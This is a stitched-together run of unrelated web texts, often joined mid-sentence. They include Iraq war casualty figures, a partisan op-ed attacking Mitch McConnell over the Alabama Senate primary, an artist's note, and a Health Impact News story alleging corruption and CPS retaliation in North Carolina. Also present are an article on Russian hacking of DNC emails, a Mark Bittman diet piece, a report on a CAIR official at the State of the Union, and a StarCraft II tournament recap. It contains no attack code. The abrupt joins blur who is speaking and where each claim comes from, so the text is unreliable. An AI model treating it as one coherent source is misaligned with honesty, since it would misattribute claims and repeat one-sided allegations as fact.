Iraq. According to the website, November 2004 remains the deadliest month for the US military in Iraq. It lost 137 troops that month when it launched a massive assault to take back the Anbar city of Fallujah, then a Sunni insurgent bastion. The US state of California has borne the brunt of American losses, with at least 426 soldiers killed in the conflict. The US military is also searching for four of its soldiers missing in Iraq. Two of them were captured in May last year after insurgents ambushed their patrol south of Baghdad in an attack which killed four other soldiers and their interpreter. Al-Qaeda in Iraq in a later Internet message said it had kidnapped and killed the soldiers. The military says it is still searching for them. Apart from deaths due to hostile fire, 145 soldiers have died due to "self-inflicted wounds," the website said, indicating a large number of suicides. The death toll also includes 102 female service members.Mitch McConnell still gunning hard AGAINST conservatives in AL How is it that establishment Republicans continue to win primaries even after betraying their voters in spectacular fashion on the most important issues of our time? The latest attempt from Mitch McConnell and Co. to distort the record of a conservative challenger in Alabama is a perfect example of their game of mendacity that has worked until now. As Philip Wegmann of the Washington Examiner reported Wednesday, “In a new television spot, the Senate Leadership Fund — McConnell’s super PAC — slams Brooks as a ‘career congressman’ who allied with Nancy Pelosi and Elizabeth Warren to ‘attack Donald Trump, trying to stop him.’” Their ads are on behalf of Luther Strange, the appointed senator to temporarily fill the seat vacated by Jeff Sessions in Alabama. Strange was appointed by the disgraced former Gov. Robert Bentley and was already well known among the K Street crowd for years. Obviously, Rep. Mo Brooks is one of the most conservative members of the House and only opposed Trump in the primary from the Right. Luther Strange is a McConnell yes-man who will help the Kentucky turtle obstruct the Trump agenda from the Left (or, at least, the agenda Trump campaigned on and the one embraced by voters). In other words, Brooks supports “the Trump agenda” more than Trump and certainly more than Strange. This is the modus operandi of McConnell and his allies. They know that they can’t run on the veracity of their views – in support of open borders, passing Democrat budgets, raising the debt ceiling unconditionally, and bailing out Obamacare … that would be too honest. More importantly, it would lose them every primary. As such, they run to the “right” of true conservatives and dishonestly give voters the impression that the actual conservatives are the liberals. Typically, conservative candidates have low name ID and are completely outgunned because they are not getting all that lobbyist cash precisely because they will actually fulfill their campaign promises. Therefore, this line of attack has been very successful in the past. I’ve written numerous times about my experience backing conservative candidates in the primaries and going up against liberal Republicans or K Street Republicans who will run on our issues while defining our candidates as liberal. They do so while simultaneously promoting the Democrat agenda in Congress and getting money to put out conservative ads precisely because they are promoting an agenda antithetical to that message. It is one of the reasons Rep. Tim Huelskamp lost his reelection last year and one of the reasons why I believe conservatives have no future in this party. One would think that after Republicans passed a Democrat budget despite control of all three branches and after they have embraced Obamacare – the ultimate act of political adultery – it would be easy to defeat most of these incumbents in a primary. Yet, they will simply put on our jerseys in the primaries and use their superior firepower to paint our candidates as disloyal, so that they can score points for the other team after assuming office. Luther Strange has already run hundreds of thousands of dollars’ worth of dishonest ads portraying himself as the exact opposite of his beliefs. McConnell’s allies are likely attacking Mo Brooks and not Roy Moore — the other major conservative opponent of Strange — for two reasons. First, Moore is way ahead and will likely earn his spot in the September runoff either way, so they must attack Brooks, who is threatening to box out the establishment from having a place in the second round. More importantly, Moore is one of the few conservative champions who has ubiquitous name ID in the state. It’s hard to redefine him as anything but a conservative champion, whereas Brooks is still largely unknown outside his district. It’s the old “define your opponent before he can define himself trick.” (In full disclosure, I have endorsed Roy Moore as my number one choice in the primary but am fully supportive of Brooks.) Fortunately for conservatives, the Alabama Senate race might prove to be the Waterloo of the McConnell campaign tactic. Luther Strange is not just any banal or generic establishment R. Voters in the state view him as part of a corrupt bargain appointed by former Gov. Bentley before he was forced out of office. Worse, Bentley sought to push off the special election in order to give Strange more incumbency — a distinction we now see very forcefully guarded by McConnell and his allies. Shortly before receiving the nod from Bentley, Luther Strange asked the state House to suspend the impeachment investigation into the disgraced governor (view Strange’s letter to the House Judiciary Committee chairman here). No amount of money spent on Strange’s behalf can rehabilitate his image with the voters. Clearly, McConnell and Co. have made a big tactical mistake. Perhaps the best revenge against the establishment for their deceitful form of campaigning and for the endless acts of political adultery would be for Moore and Brooks to completely box them out of the runoff. Having a choice between those two candidates would be a prize conservatives have never enjoyed before. If all races would boil down to these two choices rather than “the lesser of two evils,” we would have a different party and, indeed, a different country. One can only dream … Editor’s note: This piece has been updated to correct an inadvertent switch of the names “Mo Brooks” and “Roy Moore.”Patreon Livestream Youtube Twitter Just a basic Applejack piece. Kinda bailed on it, didn't feel like refining it further, so here's a rough one. I suppose I need those once in a while.I tried to get a rougher, speedier, style back I have done a while ago. But the risk is always that I'm not feeling it, since it's been too long. Kinda happened here. Combine that with not having a good design laid out, so I had to wing it making it even trickier.So maybe this is the conceptual piece then... a very singular one...The ideas were just random, from scattered memories I took from my mind, thrown together. Probably mostly from different art or games I've come across throughout the years.To be fair, that's how most of my concepts go.by Health Impact News/MedicalKidnap.com staff A massive fraud cover-up in the state of North Carolina has Randy Davis fighting mad. The corruption involves senators, the NC Commission of Indian Affairs, the Coharie Intra-Tribal Council, and entire departments within Sampson County – including Child Protection Services (CPS) – where Randy lives. The laundry list of crimes, which stretches back to the 1920s, is extensive and involves everything from misuse of federal HUD and USDA funds, to virtually every civil rights violation imaginable, to a massive land grab and falsifying birth and death certificates. The whole ugly story resembles the mafia – whole generations of families in NC with multiple crimes and cover ups. And Randy Davis not only knows everyone involved – he allegedly has hundreds of documents, audio and video to prove every bit of it. That apparently makes him a high value target that needs to be silenced. But using CPS to take his daughter didn’t keep him quiet. She has been on the run for the past year – in hiding so CPS can’t grab her to be used against her father. Three arrests on eight different trumped up charges (all eventually dismissed) and 136 days in jail without cause – all to coerce him into revealing his daughter’s location – unsuccessful. With this story – an exclusive to Health Impact News – Randy is now coming forward to tell an astonishing story of governmental abuse of power and corruption. Meet Randy and Cheyenne Randy Davis is a successful businessman, Chief of the Croatan Native American tribe, and a dedicated father to Cheyenne, a 17-year-old honors student. Several years ago, an elderly neighbor of Randy’s who is also Croatan, needed some financial help. Since Native Americans in Sampson County, NC, receive all government benefits through a local governing body called the Coharie Intra-Tribal Council, Randy requested their assistance. But he ended up with more questions than answers. Around the same time, his cousin, Maretta Brewington, a member of the governing Coharie Board, was discovering questionable practices that looked suspiciously like food stamp and Medicaid fraud. Randy Exposes Fraud, CPS Removes Cheyenne Without Judge’s Order The deeper they looked, the more fraud they found. Eventually, they compiled enough evidence that Randy went to the State Attorney General, Senator Wesley Meredith and Senator Brent Jackson. “Oh, no, not that,” was the AG’s first response as he refused to investigate since it would be a conflict of interest: “the state investigating the state,” according to Davis. Senator Jackson ignored and never responded to Davis’ request for investigation. As for Sen. Meredith, Davis says he later learned that the senator called the Coharie Board and reportedly asked them to help “shut him up.” The senator also reportedly told Maretta she would never see the documents they had turned over to him again, and soon thereafter coincidentally received a large, lucrative contract from a Native American tribe for the senator’s landscaping business. So Davis took all the information on the Coharie Board’s fraud to WRAL TV, which ran a brief story on February 20, 2014 reporting $740,000 “missing” from the Coharie accounts. See: Within seven days of this story airing, CPS allegedly opened a case on Randy. Within another week, they took Cheyenne. Maretta (Randy’s cousin who had uncovered some of the fraud), who worked for the Department of Social Services, was placed on administrative leave and Randy reports she was threatened by her supervisor to stop exposing the fraud and connections between various government officials and the Coharie Board, or she would be fired. The night CPS kidnapped Cheyenne, they also took Maretta’s 16-year-old mentally ill son as well. The police could not provide even a single document or reason for either child’s removal. Randy reports they threatened to “fight him” if he would not bring his daughter and Maretta’s son to CPS. Watch the first two videos from the previous story Health Impact News published on Randy and Cheyenne for the firsthand evidence of what happened. The first video shows the initial stop: The second video shows officers assaulting and forcibly removing Cheyenne from the car and away from her father. Another adult female, along with her son, were also in the vehicle, and the
nightmare scenario, and let’s hope we don’t see that as an October Surprise –- emails from Hillary Clinton’s server that have either been in the press or worse, the classified ones that no one in the public has seen,” said retired Adm. James Stavridis, who as the former Supreme Allied Commander for NATO is familiar with Russian information operations. “I think it is a nightmare for all of us because it shows the degree to which our systems have been penetrated by Russian hackers potentially operating under the rubric of the Russian government,” said Stavridis, who was vetted as a possible Clinton running mate. Julian Assange, whose WikiLeaks organization leaked more than 19,000 DNC emails last Friday, has promised to leak more in an effort to damage Clinton. The cybersecurity firm hired by the Democratic National Committee to investigate the hacks says that two Russian security agencies had been accessing DNC servers and internal files for months, with at least one of them infiltrating the Joint Chiefs of Staff and other key U.S. agencies. Russian hackers also accessed the private email accounts of some Clinton campaign staffers, and attacked and may have accessed internal files and email servers of the Clinton Foundation. Security officials also believe hackers accessed the private server Clinton used while Secretary of State. The U.S. intelligence community has been gravely concerned for more than a decade about ramped-up cyber-penetrations by Russia, said Fiona Hill, who from 2006 to 2009 served as the Russia/Eurasia intelligence officer on the National Intelligence Council. As a former lieutenant colonel in Russia’s spy agency, Putin considers himself a spook, Hill said, and as such is the world’s most aggressive user of such intelligence to meddle in his adversaries’ affairs and gain an upper hand in geopolitical power struggles. “It’s much more nuanced than just influencing the election; it’s more about putting a spotlight on the United States’ failings and damaging the credibility of our political system and our political elites,” said Hill, co-author of the 2015 book, “Mr. Putin: Operative in the Kremlin.” “The advantage of that [for Putin] is that it will be extraordinarily difficult for whoever comes into office in January to forge a coherent foreign policy. The United States will be pretty wounded on the global stage.” Like others, Hill also speculated that if the trail does lead back to Putin, it might have something to do with his belief that Clinton, as secretary of state, tried to undermine his successful 2011 campaign to regain the Russian presidency. “So why shouldn’t he have a go at that -- of having a subversive effect on our politics?” Hill asked. “It’s conceivable that he’s serving it right back at her, and undermining her election effort.” Mark Galeotti, a longtime Putin observer and senior research fellow at the Institute of International Relations in Prague, said Moscow clearly sees Clinton as an enemy of the state. “However, I don't think they necessarily want or expect to see a Trump presidency,” he said. “Rather, they want a weak Clinton White House that is too mired in domestic disputes and struggling to achieve a mandate at home to be that effective or aggressive abroad.” Others who are familiar with Putin say they fear the worst: a full-scale assault on the American electoral process. “They could do a lot of things with the information they‘ve gathered, now and after the convention,” said Evelyn Farkas, who was the Pentagon’s top official overseeing military relations with Russia until last September. Farkas says she’s afraid the Russians will somehow find a way to disrupt or garble vote counting and other aspects of an increasingly computerized campaign and election process. “What I really worry about is the security of our electronic electoral system.”Many people struggle to improve their eating habits. The Times food writer Mark Bittman, appearing this week on WNYC radio, told listeners about an unusual strategy that has worked for him. All day long, he eats a vegan diet. But after about 6 p.m., anything goes. In his newest book, “Food Matters: A Guide to Conscious Eating With More Than 75 Recipes,” Mark explains how increasing fruit and vegetable consumption and reducing dependence on processed foods will lead to better health not only for your body, but also for the planet. He explained his “vegan before dinnertime” strategy recently on the Leonard Lopate show: My arrangement with myself is that from the time I wake up until dinner I eat only fruits, vegetables, whole grains and legumes. I don’t even eat white bread during the day. And then starting at dinner, I do. I have one meal a day when I do pretty much what I want, which is normally quite indulgent. Mark made the changes after developing high cholesterol, borderline high blood sugar, bad knees and sleep apnea, and realizing he was about 35 pounds overweight. A doctor suggested he adopt a vegan diet, which means no animal products. But for a food writer, Mark said, becoming a full-time vegan was both unrealistic and undesirable. Instead, he came up with a compromise: I decided to do this sort of “vegan till 6” plan. I didn’t have huge thoughts or plans about it. I just thought it was worth a try. Within three or four months, I lost 35 pounds, my blood sugar was normal, cholesterol levels were again normal … and my sleep apnea indeed went away. All these good things happened, and it wasn’t as if I was suffering so I stayed with it…. I have not eliminated anything completely from my diet. I haven’t had a Coke in a while, but I didn’t drink that much Coke to begin with. Mark says he’s not trying to promote a particular diet, but does want people to realize that a simple evaluation of your diet can lead to meaningful changes. I want to make things as simple as possible. This is consistent with everything I’ve ever done. I’m the guy who says, “Don’t sweat it.” I’m trying to once again say, “Let’s figure out how to do this cleanly and easily.” I would just encourage everyone to examine the portion in their own diet between processed foods and animal food and junk food on the one hand and plants on the other. To the extent the first group is much heavier than the second group, I say make some adaptations to change that. To hear more from Mark, click here to listen to the complete 35-minute interview. And be sure to check out his popular food blog, Bitten.Democratic Rep. Alcee Hastings of Florida invited Nazar Hamze, a Broward County deputy sheriff and an official with the state chapter of the Council on American Islamic Relations, to be his guest at the State of the Union address last night, which did not sit well with some conservatives, least of all the Center for Security Policy’s Frank Gaffney. Gaffney dedicated the first segment of his “Secure Freedom Radio” program yesterday to discussing the “Muslim Brotherhood infiltration of Obama’s SOTU,” with Sen. James Lankford of Oklahoma. After Gaffney claimed that Hamze is “tied to a group that is directly linked to Hamas” (you can read more about that accusation against CAIR here), Lankford called Hamze’s attendance “one of those sad moments” and went on to imply that Hamze’s presence undermined both national security and American values. Lankford said: America’s always been a place where we absolutely have freedom of faith and religion. People can choose to have whatever faith they choose to have or whatever religion or have no religion at all, that’s up to any American, we have that protected right. The difference is, is that we also believe that, as George Washington did at the very beginning as well, that there is a culture that is American culture that is extremely important, regardless of what faith that you have and that you practice, that we believe in a Constitution, a rule of law and a value for each human being, and that sets us apart. And there are parts of the world, and many Muslim countries around the world, where the individual is not valued, the individual is not important, the state is more important, and that’s not who we are. It’s also an issue for us that we look at it and to say we believe in male and female and those individuals in the balanced rights of each of those, and that’s not so for many others. So when people bring in someone who has any connection to CAIR or other organizations, I look at it and say, okay, you may be driving a message home of faith, this is not about faith, this is an American value and basic national security. Back in 2011, Hamze tried to join the Broward County GOP’s executive committee, citing his “conservative values” but was “blasted with 15 minutes worth of insults” and rejected. He clashed repeatedly with former Rep. Allen West of Florida, who in one memorable exchange about whether the Koran sanctions violence, told Hamze not to “blow sunshine up my butt.”Now Playing: Pot Puts Sailor in the Hot Seat Now Playing: Man's Medical Marijuana Gets Him Fired Now Playing: One-Stop 'Pot' Shopping Now Playing: FDA warns against 'young blood' treatments Now Playing: Hangover helper? Not really, study finds Now Playing: What is a rape kit? Now Playing: Toothpicks injure thousands per year Now Playing: How antibiotics mess with your gut Now Playing: How much toothpaste is too much for kids? Now Playing: This day in history: Feb. 21, 1986 Now Playing: What are PFAS? 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Open to the public, the event also offers attendees the opportunity to attend a reception on Capitol Hill. Note: In light of ALA's Annual Conference, which will take place in Washington, D.C. on June 20-25, 2019, the next National Library Legislative Day will occur in 2020. Check back for updates or contact Megan Ortegon, manager of Public Policy, for more information. Relatedpullarius1 Profile Blog Joined May 2010 United States 508 Posts Last Edited: 2011-01-18 19:47:37 #1 Pretty late today, mostly because they were so painful. I highly recommend skimming these to figure out which, if any, games you want to watch. Also, I just realized that I actually put a ton of work into this today, so if a mod sees this and thinks its worthy, and TL isn't planning on posting a RO8 Code A recap, feel free to move it to SC General or SC Tourneys, or wherever you think it might be better :-) Match 1: BanBansZenith v oGsTOP Game 1: + Show Spoiler + Metalopolis, cross positions Both players fast expand. Top brings his barracks count up to four. BanBans gets three gates, a robo, and a robotics bay. Top pushes out with stim as he techs to starport and gets add-ons for his barracks(TTRR). He quickly retreats. Both players take their third. A marauder drop kills BanBans' robotics bays, but doesn't see a delayed two stargates. Both stargates hurry out a few phoenix to match the already high viking numbers. BanBans gets a double forge for +1/+1 AND gets +1 air. Top drops again and kills a lot of probes in BanBans' main. Top expands to his gold for his forth. BanBans starts to attack the gold with his gateway/colossus army, but his whole army gets emp'd. He attacks anyway, trading his whole army for most of Byun's but ending up around thirty supply behind. Top expands to the last two bases on his side of the map. Banbans takes a forth. A big phoenix flock kills a marauder ball, but eventually Top's huge macro allows him to overrun his opponent with bio. This was certainly the best macro game of Code A so far. I think it was the first time I saw a Code A player get past three bases mining at once. BanBans mass-phoenix transition was pretty fresh, but phoenix don't kill marauders fast enough to really be effective, which allowed the two marauder drops to do terrible, terrible damage. Against bio, it seems like it is best to make just enough phoenix to protect your colossus, especially if you aren't using them to harass. Top wins 1-0 + Show Spoiler + Shakuras Plateau, close positions Game 2: Shakuras Plateau, close positions Both players fast-expand again. Top gets four barracks. BanBans gets three gates and a robo. It follows the first game all the way up to Top gently pushing with stim, teching to starport, and expanding- and BanBans getting colossus, expanding, then getting two stargates. The marauder drop only kills two pylons this time, though. The second drop does less damage this time as well. But finally breaking out of this groundhog-day-like game, there is a third drop with marines that kills a lot of probes, all of them in fact, at BanBans' third. Top sticks to bio as he adds ghosts into the mix. BanBans makes a ill-advised attack right into Top's army, and gets slaughtered as his phoenix attack first, then the stalkers and colossi, then the charge-less zealots. Being fifty supply ahead, Top's army run over, kills BanBans' third, and destroys BanBans' second wave as well. BanBans gg's right as a nuke finishes for Top. It seemed like BanBans had a very specific build and game plan that he was going to follow no matter what, even including attack timings, and it turned out that the game plan didn't work well against what Top was doing. He adapted particularly poorly to Top's drops, allowing them to kill way more than they should have, which probably threw a wrench into BanBans' game plan. One of the best parts about getting phoenix against terran is spotting and killing drops, but BanBans kept his phoenix with his main army almost the entire time. All this, along with his poor attack timing and unit control, makes me think that BanBans won't be Code S material until he either perfects his builds, or loosens up under the spotlight enough to be flexible during a game. However, Top looked very good; he showed lovely multitasking as he harassed and expanded and macro'd well the entire game. He could easily get to Code S, especially if he gets to pick his group. Top wins 2-0, advances + Show Spoiler + Top wins 2-0 BanBans on bottom. Match 2: sCfOu v oGsCezanne Game 1: + Show Spoiler + Xel'Naga Caverns Cezanne drone-scouts fairly early, sees two barracks, then hatch-before-pools anyway. Essy bunker pushes and kills the hatchery fairly easily despite banelings coming out in time. Essy even manages to sell an on fire bunker after being repelled. Essy gets a command center for his natural, then two more barracks. Cezanne re-expands to his natural and gets +1 melee. Essy gets combat shields before stim. Cezanne gets a third base at his lateral expansion. Essy gets (TTRR) for his add-ons. Essy takes out Cezanne's third with his bio. Cezanne gets a lair, baneling speed, and +2 melee. Essy attacks with marines and marauders through the secret hallway, but lets banelings through, gets flanked, and loses everything! If he had controlled just a tiny bit better, it would have gone completely the other way. But as it stands, Cezanne is back in the game. Cezanne expands to his lateral third, but it dies to marauders again. He expands to his interior third instead this time. Zerg tries a counter-attack, but ends up trading armies pretty equally. Cezanne gets infestors. Cezanne again loses his third, this time to a clever cliff drop with tanks. He re-expands to both of his thirds together this time. Essy gets a planetary fortress at his gold. Cezanne get a spire and a hive. Cezanne takes his gold as his performs a very clever attack in which zerglings run into Essy's base, and infestors fungal reinforcements as they try to get up the ramp, blocking everything out. Essy transitions to more and more tanks. Cezanne loses hatcheries four and five at his gold and interior third. He immediately re-expands to both. Cezanne gets a greater spire, +3 melee, +3 carapace, adrenal glands, burrow, an ultralisk cavern, and chitinous plating. As Essy starts pushing at Cezanne's gold with tanks, Cezanne uses pretty good brood lord/infestor/corruptor micro to hold off the terran forces. But tanks eventually take the gold hatchery down. Essy stims forward, drives the brood lords out, which allows him to siege up outside Cezanne's natural. With his opponent contained, Essy is able to nullify the rest of Cezanne's bases, effectively ending the game. Cezanne has a strange sense of timing, especially when it comes to expanding. He seemed to be desperately grasping at straws the entire game after getting behind early. He lost so many hatcheries that game, it was hard to see how he possibly could have won despite all his clever tactical maneuvering. If he tightened up his expansion pattern, he could be a very solid player. I especially liked how on top of his upgrades he was. I would love to see the money distribution chart for that game. Maybe if Cezanne had dedicated more to making actual units, he would have had a better time of it. sC wins 1-0 + Show Spoiler + Lost Temple, close-by-air positions Deja vu as Essy bunker-pushes and kills Cezanne's early hatchery again. Essy expands behind it and techs to siege tanks. Cezanne techs to banelings, finally kills the bunker, and re-expands to his natural, and then to the close natural. Essy tank drops Cezanne's natural- kills it, and then the third. Cezanne gets a lair, a spire, and upgrades +2 melee. Cezanne expands to the Main and natural close to Essy. Essy has had enough tomfoolery and finally tank-pushes Cezanne's main. Cezanne looked totally different from his other Code A matches so far. Either he was completely flustered from the early pressure, or he was just rolling dice in his head to decide what to do next. sC stood out for his patience and methodicalness in dealing with Cezanne's unorthodoxy. I really thin Cezanne just needs to make more units and he would be pretty good. sC wins 2-0, advances + Show Spoiler + Match 3: ST_July v ZeNEXByun Game 1: + Show Spoiler + Shakuras Plateau, cross positions July gets a hatch first. Byun rushes for his first reaper, and follows it with a command center and a factory. The reaper kills a few drones and escapes. July morphs a lair and then a spire and baneling nest. Byun techs to tanks, then gets an armory. July takes his third. Byun gets +1 attack for both infantry and vehicles as he builds some thors. He builds four barracks with reactors as he get +2 attacks at both his e-bay and his armory. July gets roaches and an infestation pit. Byun takes his third at the 12 o'clock; July takes his forth at his 6 o'clock and gets his hive. Byun pushes against July's third with tank/thor/marine. July evacuates, takes his interior third, and gets brood lords. Byun gets +3/+0 +3/+0 as his starts pushing through the middle of the map with a lot of thors and tanks. July takes both vertical expansions as Byun sieges up at his third. Byun get up by enough supply to split his forces into three prongs and takes out four hatcheries at once, forcing July to gg. July looked kind of lost this game. His composition was not working well, but he didn't change it. He was dropping banelings on thors and tanks, losing overlords and brood lords to vikings, running whole packs of zerglings into stimmed marines, and overall didn't seem to be comfortable dealing with a mech army of that size. He also lacked his usual aggression as he didn't attack Byun's bases once the entire game. Byun looked very solid with his pushing and engagement timing, always seeming to come out on top. The commentators also correctly pointed out that July didn't use any creep tumors at all. Byun wins 1-0 + Show Spoiler + Jungle Basin July hatches first. Byun gets two barracks and tries to bunker July's main ramp. Zerglings get out in plenty of time to force a cancel. Byun expands. July gets his lair, a spire, and a baneling nest. Byun follows up with two factories for a lot a blue-flame hellions. Five make it into July's main, but he blocks them, traps them, and kills them with some fancy micro. July expands to his lateral third. Byun gets a third factory and an armory for two thors, then three-factory tanks. Byun again gets +1 weapons for both vehicles and infantry before making six barracks. Byun uses six barracks to wall off from his main to the mesa! July breaks into Byun's back door through the rocks and takes out some scvs. Byun takes his side of the mesa. July makes a move against it with zergling/mutalisk, but it is repelled. July gets to 25+ mutalisks and destroys a lot in Byun's main before being pushed out by thors and turrets. Both players do a lot harassment against each other's expansions, Byun with marine contingents and July with mutalisks and zerglings. July loses his lateral third. July kills most of the scvs at Byun's natural. Byun kills July's forth. On one barely mining base, July makes a last-ditch effort to kill Byun's thors, but loses all of his mutalisks in the process. July has thirty supply left, and concedes. Byun is obviously happy with his big victory over such a big name. He played very well, and his TvZ seems very solid, while July really struggled with beating mech play. One bizarre thing was July's continual insistence on baneling-dropping thors and tanks, doing almost no damage to them, and rarely reducing their numbers at all.* July is going to have to work on his game plans if he want to make Code S, whereas Byun is looking as solid as many of the players who didn't make it past the group stage. Byun wins 2-0, advances *Just for the record, it takes nine banelings to kill a tank, and twenty-one to kill thor. That's a net loss of 300/100 and 750/325 resources respectively, and that's only if you even manage to kill them, which July rarely managed to do. + Show Spoiler + I really want to make a Byun joke here. But I'm bigger than that. Byun wins 2-0 Match 4: FOXMoon v FOXLyn Game 1: + Show Spoiler + Gnoll Wo.. errrr Jungle Basin Both players get expansions before anything. Lyn techs up to starport for tanks and a banshee. Moon goes for a baneling bust. He gets in, but doesn't do enough damage to make it worth it. Moon tries again, but the second bust goes even worse as a siege tanks kill a lot of the banelings. Lyn builds up to two starports, two factories, and four barracks. Moon gets a lair and a spire. Lyn smartly gets a raven to watch out for burrowed banelings. Lyn moves out with a strangely small tank/marine force that easily gets squashed by Moon's zergling/baneling army. Moon tries to expand to Lyn's lateral expansion. Lyn takes it out. Lyn also destroys Moon's natural with an interestingly-executed push over the rocks. From there Moon's economy can't keep up. So even after winning a good battle in the middle of the map, he eventually has to gg to Lyn's slow push into his main. Fox alternates between using very good micro to win battles, and picking unwinnable fights. He also has the absolute worst burrowed baneling timing of all time. Lyn has some very strange micro ideas of his own, especially when it comes to spell casting. I think what it might come down to is that he hates losing units, and thus even his pushes are extremely defensive. If he refines this style, it could be very useful and efficient, but as it stands it just seems slow a ill-suited to such a fast-paced game. I do, however, like how comfortable Lyn is with having a split army pressure from multiple angles. On large maps, it could prove very useful. Lyn wins 1-0 + Show Spoiler + Twisted Mea...errrr Lost Temple, close positions Wait, that didn't work so well. Damn you Blizzard! Lyn gets a barracks and quickly adds on a reactor. Moon goes for one-hatch muta. Lyn sticks the reactor on the factory and builds a command center. Lyn's first two hellions see the lair, prompting him to build an engineering bay and an armory. Moon expands when his spire finishes. Lyn has plenty of turrets and marines by the time mutalisks get there. Lyn safely takes his natural with his orbital command and a thor. Moon gets a baneling nest and a lot of zerglings, some of which hulk off and turn green. The xlings kill a many of unit in Lyn's base, but Lyn's micro and a thor end up saving his expansion and production facilities. Lyn tank drops Moon's cliff. Lyn shows very good micro, killing five mutalisks with four marines and a medivac. Moon starts building up a mutalisk/xling army, while Lyn stockpiles tank/marine/medivac off two factories and four reactored barracks. Moon misses again with burrowed banelings. Lyn sets up a contain outside Moon's natural. Moon uses mutalisks to effectively cut off reinforcements for Lyn. Lyn keeps baiting banelings into his siege tanks with stimmed marines, eventually killing most of them. Moon tries to nydus out of his base and counter-attack, but after losing his natural to Lyn's siege push, he has no minerals, and finally leaves the game when Lyn makes it into his main. Lyn didn't play great, but he played much better than Moon. If some code A games are like two guys hitting each other with two-by-fours, this match was like two guys hitting each other with whiffle-bats. Neither player seemed to have a good idea of how to kill his opponent, so in the end Lyn's defensive, efficient slow pushes beat Moon's over-aggressive gimmicks. Lyn could get Code S if he faces a cheesy player, and Moon could also if he cheeses successfully, but I don't think either player could beat a solid Code S-er, even many of the ones that dropped out of the first round. Lyn wins 2-0, advances. + Show Spoiler + http://answers.yahoo.com/question/index?qid=20081031081534AA3D6nU No, but siege tanks are. Lyn wins 2-0. No, but siege tanks are.Lyn wins 2-0. Results: + Show Spoiler + oGsTOP 2-0 BanBansZenith sCfOu 2-0 oGsCezanne ZeNEXByun 2-0 ST_July FOXLyn 2-0 FOXMoon This marks six straight sweeps in a row in GSL play. A couple of the games today of the games were pretty exciting, but most were awkward and one-sided, characterized by strange decisions and ineffectual engagements. Also, terrans 8-0'd today, putting four of them into the semifinals. EDIT: Predictions! + Show Spoiler + Almost certain: oGsTOP More likely than not: ZeNEXByun sCfOu ST_July BanBansZeNEX More not than likely: FOXLyn FOXMoon oGsCezanne oGsTOP : Top's play really impressed me this round. He far outplayed a fairly solid opponent, showing great unit control and economy management. He had drops and ghosts and nukes and a very solid game plan against protoss. He's also one win away from being able to choose his group, and he is certainly better than at least two of the bottom 16 from code S. ZeNEXByun : Beating July speaks for itself, but he did it in impressive fashion. The six-barracks wall-off on Jungle Basin was pretty awesome, and in the interview Byun said it was unplanned, so he can obviously think on his feet. Byun also defeated a solid opponent in Killer, a protoss, last round, winning a longish two-base game and competantly fending off a solid fourgate. I think he'll fall to Top, but can probably advance through most possible up/down groups. Also, I really enjoy the name censoring and Artosis's vendetta against him, so I'm really pulling for Byun to advance. sCfOu : Essy had a couple of very strange games against Cezanne, but showed that he was a solid, robust player. He's done all-ins, defended all-in, played long macro games, and killed more hatcheries in one match than most people have in their entire GSL career so far. I don't get a get feel of Essy's character through his play, but I think he can defend most things thrown at him ST_July : This seems pretty silly, considering he lost. But July proved himself in Brood War, and is obviously very skilled. The one thing that makes me put him so high is that he said in his interview that he thought the rest of the code A matches were useless, since qualifying for Code S is most important. I think maybe he didn't take this match seriously, but will definitely try his hardest to break into Code S. BanBansZeNEX : I don't know what else to say about BanBans' play this round except that it seemed very stiff. Like an athlete who can't relax and underperforms, it seems like he kind of locked up and went on autopilot. He destroyed Junwi last round, so maybe it's a match-up thing. Either way, I think he could easily make it out of 65% of the relegation groups. FOXLyn : I feel bad putting Lyn so low, but his play style is very hard to analyze. He's just so cautious and sheepish. I think he could actually turn it into a successful style if he became more comfortable with the game, but as it is I don't feel like he knows the game's ins-and-outs well enough to make it through. FOXMoon : This is more a reflection of how he played today than what I think of his skill level. Maybe he was just playing mind games with his teammate, but he just seemed to be thrashing around today. If he has better game plans, his tactics and control will pull him through against a lesser player. If he plays like he did today, I don't think he'll get there. oGsCezanne : What a bizarre day for Cezanne. He really seemed to be on tilt today after demolishing Loner last round. Maybe he didn't have enough respect for his opponent, but he was so greedy and so unconventional this match that I couldn't put him through the relegation matches at this level of play. So because today was so boring, and my student canceled because the roads are icy, I decided I would spice this post up with some juicy predictions. Listed in order of (generally) most likely to advance to least likely:oGsTOPZeNEXByunsCfOuST_JulyBanBansZeNEXFOXLynFOXMoonoGsCezanneTop's play really impressed me this round. He far outplayed a fairly solid opponent, showing great unit control and economy management. He had drops and ghosts and nukes and a very solid game plan against protoss. He's also one win away from being able to choose his group, and he is certainly better than at least two of the bottom 16 from code S.Beating July speaks for itself, but he did it in impressive fashion. The six-barracks wall-off on Jungle Basin was pretty awesome, and in the interview Byun said it was unplanned, so he can obviously think on his feet. Byun also defeated a solid opponent in Killer, a protoss, last round, winning a longish two-base game and competantly fending off a solid fourgate. I think he'll fall to Top, but can probably advance through most possible up/down groups. Also, I really enjoy the name censoring and Artosis's vendetta against him, so I'm really pulling for Byun to advance.Essy had a couple of very strange games against Cezanne, but showed that he was a solid, robust player. He's done all-ins, defended all-in, played long macro games, and killed more hatcheries in one match than most people have in their entire GSL career so far. I don't get a get feel of Essy's character through his play, but I think he can defend most things thrown at himThis seems pretty silly, considering he lost. But July proved himself in Brood War, and is obviously very skilled. The one thing that makes me put him so high is that he said in his interview that he thought the rest of the code A matches were useless, since qualifying for Code S is most important. I think maybe he didn't take this match seriously, but will definitely try his hardest to break into Code S.I don't know what else to say about BanBans' play this round except that it seemed very stiff. Like an athlete who can't relax and underperforms, it seems like he kind of locked up and went on autopilot. He destroyed Junwi last round, so maybe it's a match-up thing. Either way, I think he could easily make it out of 65% of the relegation groups.I feel bad putting Lyn so low, but his play style is very hard to analyze. He's just so cautious and sheepish. I think he could actually turn it into a successful style if he became more comfortable with the game, but as it is I don't feel like he knows the game's ins-and-outs well enough to make it through.This is more a reflection of how he played today than what I think of his skill level. Maybe he was just playing mind games with his teammate, but he just seemed to be thrashing around today. If he has better game plans, his tactics and control will pull him through against a lesser player. If he plays like he did today, I don't think he'll get there.What a bizarre day for Cezanne. He really seemed to be on tilt today after demolishing Loner last round. Maybe he didn't have enough respect for his opponent, but he was so greedy and so unconventional this match that I couldn't put him through the relegation matches at this level of play. GSL 2011 Season 1 Code A RO8Pretty late today, mostly because they were so painful. I highly recommend skimming these to figure out which, if any, games you want to watch.Also, I just realized that I actually put a ton of work into this today, so if a mod sees this and thinks its worthy, and TL isn't planning on posting a RO8 Code A recap, feel free to move it to SC General or SC Tourneys, or wherever you think it might be better :-)Match 1: BanBansZenithv 